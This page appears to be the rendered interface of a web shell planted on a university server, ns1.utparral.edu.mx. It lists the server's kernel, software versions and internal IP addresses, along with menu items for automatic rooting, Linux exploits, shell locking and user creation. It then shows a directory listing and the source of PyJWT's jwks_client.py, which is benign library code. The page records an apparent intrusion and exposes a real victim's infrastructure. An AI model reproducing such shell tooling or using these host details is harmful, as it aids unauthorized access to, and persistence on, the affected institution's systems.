Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
jwt /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
algorithms.py
21.53
KB
-rw-r--r--
api_jwk.py
2.87
KB
-rw-r--r--
api_jws.py
7.86
KB
-rw-r--r--
api_jwt.py
7.15
KB
-rw-r--r--
exceptions.py
965
B
-rw-r--r--
help.py
1.57
KB
-rw-r--r--
__init__.py
1.52
KB
-rw-r--r--
jwks_client.py
1.87
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
utils.py
3.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jwks_client.py
import json import urllib.request from functools import lru_cache from typing import Any, List from .api_jwk import PyJWK, PyJWKSet from .api_jwt import decode_complete as decode_token from .exceptions import PyJWKClientError class PyJWKClient: def __init__(self, uri: str, cache_keys: bool = True, max_cached_keys: int = 16): self.uri = uri if cache_keys: # Cache signing keys # Ignore mypy (https://github.com/python/mypy/issues/2427) self.get_signing_key = lru_cache(maxsize=max_cached_keys)(self.get_signing_key) # type: ignore def fetch_data(self) -> Any: with urllib.request.urlopen(self.uri) as response: return json.load(response) def get_jwk_set(self) -> PyJWKSet: data = self.fetch_data() return PyJWKSet.from_dict(data) def get_signing_keys(self) -> List[PyJWK]: jwk_set = self.get_jwk_set() signing_keys = [ jwk_set_key for jwk_set_key in jwk_set.keys if jwk_set_key.public_key_use in ["sig", None] and jwk_set_key.key_id ] if not signing_keys: raise PyJWKClientError("The JWKS endpoint did not contain any signing keys") return signing_keys def get_signing_key(self, kid: str) -> PyJWK: signing_keys = self.get_signing_keys() signing_key = None for key in signing_keys: if key.key_id == kid: signing_key = key break if not signing_key: raise PyJWKClientError( f'Unable to find a signing key that matches: "{kid}"' ) return signing_key def get_signing_key_from_jwt(self, token: str) -> PyJWK: unverified = decode_token(token, options={"verify_signature": False}) header = unverified["header"] return self.get_signing_key(header.get("kid"))
Close